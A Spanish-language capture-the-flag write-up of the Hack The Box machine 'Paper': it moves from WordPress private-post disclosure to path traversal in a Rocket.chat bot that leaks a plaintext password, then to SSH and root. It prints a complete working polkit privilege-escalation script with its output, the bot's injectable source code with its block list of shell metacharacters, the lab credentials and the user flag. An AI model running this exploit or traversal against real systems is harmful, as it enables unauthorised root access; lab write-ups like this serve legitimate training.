En Paper descubrimos una vulnerabilidad que permite leer los posts archivados/privados lo que nos permitió acceder a un link de registro de Rocket.chat, en este ultimo logramos listar y observar el contenido de archivos de la máquina con la ayuda de comandos de un Bot, lo que nos dio acceso por SSH. Finalmente escalamos privilegios explotando la vulnerabilidad de Polkit.
# Nmap 7.91 scan initiated Sat Feb 5 23:19:51 2022 as: nmap -p22,80,443 -sC -sV -oN nmap_scan 10.129.104.126Nmap scan report for 10.129.104.126 (10.129.104.126)Host is up (0.088s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)| ssh-hostkey:
|2048 10:05:ea:50:56:a6:00:cb:1c:9c:93:df:5f:83:e0:64 (RSA)|256 58:8c:82:1c:c6:63:2a:83:87:5c:2f:2b:4f:4d:c3:79 (ECDSA)|_ 256 31:78:af:d1:3b:c4:2e:9d:60:4e:eb:5d:03:ec:a0:22 (ED25519)80/tcp open http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
|_http-title: HTTP Server Test Page powered by CentOS
443/tcp open ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
|_http-title: HTTP Server Test Page powered by CentOS
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Subject Alternative Name: DNS:localhost.localdomain
| Not valid before: 2021-07-03T08:52:34
|_Not valid after: 2022-07-08T10:32:34
|_ssl-date: TLS randomness does not represent time| tls-alpn:
|_ http/1.1
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Feb 5 23:20:09 2022 -- 1 IP address (1 host up) scanned in 18.70 seconds
Web Site
Realizamos una solicitud al sitio web con curl y vemos el header X-Backend-Server el dominio office.paper el cual agregamos al archivo /etc/hosts.
π ~/htb/paper ❯ wpscan --url http://office.paper/ -e ap,vt,cb,dbe,u,
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|\ \ /\ / /||__)|(___ ___ __ _ _ __ ®
\ \/\/ / | ___/ \___ \ / __|/ _`|'_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.18
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://office.paper/ [10.129.104.126]
[+] Started: Sat Feb 5 23:54:13 2022
Interesting Finding(s):
[+] Headers
| Interesting Entries:
| - Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
| - X-Powered-By: PHP/7.2.24
| - X-Backend-Server: office.paper
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] WordPress readme found: http://office.paper/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] WordPress version 5.2.3 identified (Insecure, released on 2019-09-05).
| Found By: Rss Generator (Passive Detection)
| - http://office.paper/index.php/feed/, <generator>https://wordpress.org/?v=5.2.3</generator>
| - http://office.paper/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.2.3</generator>
[+] WordPress theme in use: construction-techup
| Location: http://office.paper/wp-content/themes/construction-techup/
| Last Updated: 2021-07-17T00:00:00.000Z
| Readme: http://office.paper/wp-content/themes/construction-techup/readme.txt
| [!] The version is out of date, the latest version is 1.4
| Style URL: http://office.paper/wp-content/themes/construction-techup/style.css?ver=1.1
| Style Name: Construction Techup
| Description: Construction Techup is child theme of Techup a Free WordPress Theme useful for Business, corporate a...
| Author: wptexture
| Author URI: https://testerwp.com/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.1 (80% confidence)
| Found By: Style (Passive Detection)
| - http://office.paper/wp-content/themes/construction-techup/style.css?ver=1.1, Match: 'Version: 1.1'[+] Enumerating All Plugins (via Passive Methods)[i] No plugins Found.
[.. snip ..][i] User(s) Identified:
[+] prisonmike
| Found By: Author Posts - Author Pattern (Passive Detection)| Confirmed By:
| Rss Generator (Passive Detection)| Wp Json Api (Aggressive Detection)| - http://office.paper/index.php/wp-json/wp/v2/users/?per_page=100&page=1| Author Id Brute Forcing - Author Pattern (Aggressive Detection)| Login Error Messages (Aggressive Detection)[+] nick
| Found By: Wp Json Api (Aggressive Detection)| - http://office.paper/index.php/wp-json/wp/v2/users/?per_page=100&page=1| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)| Login Error Messages (Aggressive Detection)[+] creedthoughts
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)| Confirmed By: Login Error Messages (Aggressive Detection)[.. snip ..]
WordPress
Revisamos la version y vulnerabilidades a la version 5.2.3 en la pagina de WordPress, entre ellas destacamos el CVE-2019-17671 donde observamos que es posible ver post privados o borradores, se muestra el PoC.
1
http://wordpress.local/?static=1&order=asc
Tras emplear el PoC en el sitio, vemos “multiples posts”, se menciona un sistema de chat y vemos una url con un nuevo subdominio el cual agregamos a /etc/hots.
User - Dwight
Rocket.chat
La url de registro nos lleva a sistema de chat rocket.chat.
Tras ingresar vemos el único canal, #general, aunque es de ‘sólo lectura’.
Vemos muchos mensajes entre ellos se menciona un bot y se listan los diferentes comandos aceptados.
‘kelly’ menciona que el bot funciona por Mensajes Directos, por lo que iniciamos una conversación con el bot.
Hubot
Enviamos el comando help y nuevamente vemos los diferentes comandos, pero vemos 2 interesantes, file y list.
1
2
3
4
5
6
7
8
For security reasons, the access is limited to the Sales folder.
3. Files:
eg: 'recyclops get me the file test.txt', or 'recyclops could you send me the file sale/secret.xls' or just 'recyclops file test.txt'4. List:
You can ask me to list the files
eg: 'recyclops i need directory list sale' or just 'recyclops list sale'
file realiza cat al archivo dado, en el directorio /home/dwight/sales/test.txt y list muestra los directorios/archivos en sales/.
Intentamos realizar ‘Command Injection’ pero parece tener algun tipo de filtro.
Realizamos una enumeración de archivos dentro del directorio utilizando ../ vemos multiples directorios/archivos en home/dwight.
En la carpeta hubot/ vemos archivos de configuración y codigo fuente del bot.
El archivo .env contiene la configuración del bot, y vemos credenciales.
1
2
3
4
5
6
7
8
9
10
11
file ../hubot/.env
<!=====Contents of file ../hubot/.env=====>
exportROCKETCHAT_URL='http://127.0.0.1:48320'exportROCKETCHAT_USER=recyclops
exportROCKETCHAT_PASSWORD=Queenofblad3s!23
exportROCKETCHAT_USESSL=falseexportRESPOND_TO_DM=trueexportRESPOND_TO_EDITED=trueexportPORT=8000exportBIND_ADDRESS=127.0.0.1
<!=====End of file ../hubot/.env=====>
Shell
Usamos la contraseña por SSH con el usuario dwight, logramos obtener una shell y la flag user.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
π ~/htb/paper ❯ ssh dwight@office.paper # Queenofblad3s!23dwight@office.paper's password:
Activate the web console with: systemctl enable --now cockpit.socket
Last login: Sat Feb 5 20:12:06 2022 from 10.10.14.133
[dwight@paper ~]$ whoami;id;pwddwight
uid=1004(dwight)gid=1004(dwight)groups=1004(dwight)/home/dwight
[dwight@paper ~]$ ls
bot_restart.sh hubot pk.sh sales user.txt
[dwight@paper ~]$ cat user.txt
70b576347b2ee4017a05dd869dfcb5fa
[dwight@paper ~]$
Privesc
Enumeramos la carpeta del usuario dwight, encontramos un script en bash pk.sh.
El script realiza una explotiación en la API de polkit, registra el usuario hacked con la contraseña password, agregando este como usuario privilegiado. Todo indica que se trata de un exploit para la vulnerabilidad en polkit para escalar privilegios.
#!/bin/bash
# Set the name and display nameuserName="hacked"realName="hacked"# Set the account as an administratoraccountType=1# Set the password hash for 'password' and password hintpassword='$5$WR3c6uwMGQZ/JEZw$OlBVzagNJswkWrKRSuoh/VCrZv183QpZL7sAeskcoTB'passHint="password"# Check Polkit versionpolkitVersion=$(systemctl status polkit.service | grep version | cut -d " " -f 9)if[["$(apt list --installed 2>/dev/null | grep polkit | grep -c 0.105-26)" -ge 1||"$(yum list installed | grep polkit | grep -c 0.117-2)"]];thenecho"[*] Vulnerable version of polkit found"elseecho"[!] WARNING: Version of polkit might not vulnerable"fi# Validate user is running in SSH instead of desktop terminalif[[ -z $SSH_CLIENT|| -z $SSH_TTY]];thenecho"[!] WARNING: SSH into localhost first before running this script in order to avoid authentication prompts"exitfi# Test the dbus-send timing to load into exploitecho"[*] Determining dbus-send timing"realTime=$(TIMEFORMAT="%R";{time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType;} 2>&1| cut -d " " -f6 )halfTime=$(echo"scale=3;$realTime/2"| bc)# Check for user first in case previous run of script failed on password setif id "$userName"&>/dev/null;thenuserid=$(id -u $userName)echo"[*] New user $userName already exists with uid of $userid"elseuserid=""echo"[*] Attempting to create account"while[[$userid==""]]dodbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType 2>/dev/null & sleep $halfTime;kill$! 2>/dev/null
if id "$userName"&>/dev/null;thenuserid=$(id -u $userName)echo"[*] New user $userName created with uid of $userid"fidonefi# Add the password to /etc/shadow# Sleep added to ensure there is enough of a delay between timestamp checksecho"[*] Adding password to /etc/shadow and enabling user"sleep 1currentTimestamp=$(stat -c %Z /etc/shadow)fileChanged="n"while[$fileChanged=="n"]dodbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User$userid org.freedesktop.Accounts.User.SetPassword string:$password string:$passHint 2>/dev/null & sleep $halfTime;kill$! 2>/dev/null
if[$(stat -c %Z /etc/shadow) -ne $currentTimestamp];thenfileChanged="y"echo"[*] Exploit complete!"fidoneecho""echo"[*] Run 'su - $userName', followed by 'sudo su' to gain root access"
Utilizamos este mismo script para realizar la explotación, tras un primer intento pareciera no funcionar, aun asi muestra que todo fue exitoso.
[dwight@paper ~]$ ./pk.sh
Invalid configuration value: failovermethod=priority in /etc/yum.repos.d/nodesource-el8.repo; Configuration: OptionBinding with id "failovermethod" does not exist
Invalid configuration value: failovermethod=priority in /etc/yum.repos.d/nodesource-el8.repo; Configuration: OptionBinding with id "failovermethod" does not exist
Modular dependency problems:
Problem 1: conflicting requests
- nothing provides module(perl:5.26) needed by module perl-IO-Socket-SSL:2.066:8030020201222215140:1e4bbb35.x86_64
Problem 2: conflicting requests
- nothing provides module(perl:5.26) needed by module perl-libwww-perl:6.34:8030020201223164340:b967a9a2.x86_64
[*] Vulnerable version of polkit found
[*] Determining dbus-send timing
[*] Attempting to create account
./pk.sh: line 48: 21609 Terminated dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType 2> /dev/null
[.. snip ..]./pk.sh: line 48: 27079 Terminated dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType 2> /dev/null
[*] New user hacked created with uid of 1005[*] Adding password to /etc/shadow and enabling user
[*] Exploit complete!
[*] Run 'su - hacked', followed by 'sudo su' to gain root access
[dwight@paper ~]$ su - hacked
su: user hacked does not exist
[dwight@paper ~]$
Shell
Tras una segunda ejecución vemos que el usuario es registrado, y obtiene privilegio root.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[dwight@paper ~]$ ./pk.sh
Invalid configuration value: failovermethod=priority in /etc/yum.repos.d/nodesource-el8.repo; Configuration: OptionBinding with id "failovermethod" does not exist
[..snip ..][*] Exploit complete!
./pk.sh: line 64: 31284 Terminated dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User$userid org.freedesktop.Accounts.User.SetPassword string:$password string:$passHint 2> /dev/null
[*] Run 'su - hacked', followed by 'sudo su' to gain root access
[dwight@paper ~]$ su - hacked
Password:
[hacked@paper ~]$ id
uid=1005(hacked)gid=1005(hacked)groups=1005(hacked),10(wheel)[hacked@paper ~]$ sudo su
[sudo] password for hacked:
[root@paper hacked]# iduid=0(root)gid=0(root)groups=0(root)
scripts/files.js// Description:
// Runs a command on hubot
// TOTAL VIOLATION of any and all security!
//
// Commands:
// hubot run <command> - runs a command on hubot host
module.exports=function(robot){varuser="dwight";robot.respond("/file (.*)$/i",function(msg){console.log(msg);varout=msg.match[1];// Don't judge me. If it is working, then it ain't stupid.
if((out.includes(";"))||(out.includes("`"))||(out.includes("&"))||(out.includes("$"))||(out.includes("0x0a"))||(out.includes("\\n"))||(out.includes("*"))||(out.includes("?"))||(out.includes("|"))||(out.includes("["))||(out.includes("{"))||(out.includes("("))||(out.includes("\""))||(out.includes("\\"))||(out.includes(">"))||(out.includes("<"))||(out.includes("'"))||(out.includes("%"))){msg.send("Stop injecting OS commands!");return;}if(out.includes("user")){msg.send("Access denied.");return;}else{varcmd="cat "+" "+"/home/"+user+"/sales/"+out;varexec=require('child_process').exec;exec(cmd,function(error,stdout,stderr){if(error){msg.send(error);msg.send(stderr);}else{msg.send("<!=====Contents of file "+out+"=====>");msg.send(stdout);msg.send("<!=====End of file "+out+"=====>");}});}});};
scripts/listof.js// Description:
// Runs a command on hubot
// TOTAL VIOLATION of any and all security!
//
// Commands:
// hubot run <command> - runs a command on hubot host
module.exports=function(robot){varuser="dwight";robot.respond("/list(.*)$/i",function(msg){console.log(msg);varout=msg.match[1];varcmd=""// Don't judge me. If it is working, then it ain't stupid.
if((out.includes(";"))||(out.includes("`"))||(out.includes("&"))||(out.includes("$"))||(out.includes("0x0a"))||(out.includes("\\n"))||(out.includes("*"))||(out.includes("?"))||(out.includes("|"))||(out.includes("["))||(out.includes("{"))||(out.includes("("))||(out.includes("\""))||(out.includes("\\"))||(out.includes(">"))||(out.includes("<"))||(out.includes("'"))||(out.includes("%"))){msg.send("Stop injecting OS commands!");return;}if(out==""){vardir="/sales/"msg.send("Fetching the directory listing of "+dir);cmd="ls -la"+" "+"/home/"+user+dir;}if(out!=""){msg.send("Fetching the directory listing of "+out);cmd="ls -la"+" "+"/home/"+user+"/sales/"+out.trim();}varexec=require('child_process').exec;exec(cmd,function(error,stdout,stderr){if(error){msg.send(error);msg.send(stderr);}else{msg.send(stdout);}});});};